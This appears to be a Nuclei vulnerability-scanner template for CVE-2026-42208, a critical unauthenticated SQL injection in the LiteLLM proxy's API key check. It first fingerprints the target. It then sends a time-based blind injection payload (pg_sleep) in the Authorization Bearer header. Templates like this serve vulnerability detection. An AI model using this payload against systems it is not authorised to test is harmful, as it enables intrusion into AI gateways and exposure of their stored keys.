id: CVE-2026-42208 info: name: "LiteLLM - SQL Injection" author: vedas-arpsyndicate severity: critical description: | LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.81.16 to before version 1.83.7, a database query used during proxy API key checks mixed the caller-supplied key value into the query text instead of passing it as a separate parameter. reference: - https://www.exploit.observer/?keyword=CVE-2026-42208&match=exact - https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-42208 cwe-id: CWE-89 metadata: verified: false tags: cve,cve2026,litellm,sqli,unauthenticated,kev,vkev flow: http(1) && http(2) http: - raw: - | GET /ui/login/? HTTP/1.1 Host: {{Hostname}} - | POST /v1/chat/completions HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer invalid_token_baseline_test {} redirects: true matchers: - type: dsl dsl: - 'contains(body_1, "litellm-asset-prefix")' - 'contains(content_type_2, "application/json")' - 'status_code_2 == 401' condition: and internal: true - raw: - | @timeout: 30s POST /v1/chat/completions HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{randstr}}' OR (SELECT pg_sleep(8)) IS NOT NULL -- {} matchers: - type: dsl dsl: - 'status_code == 401' - 'duration >= 8' condition: and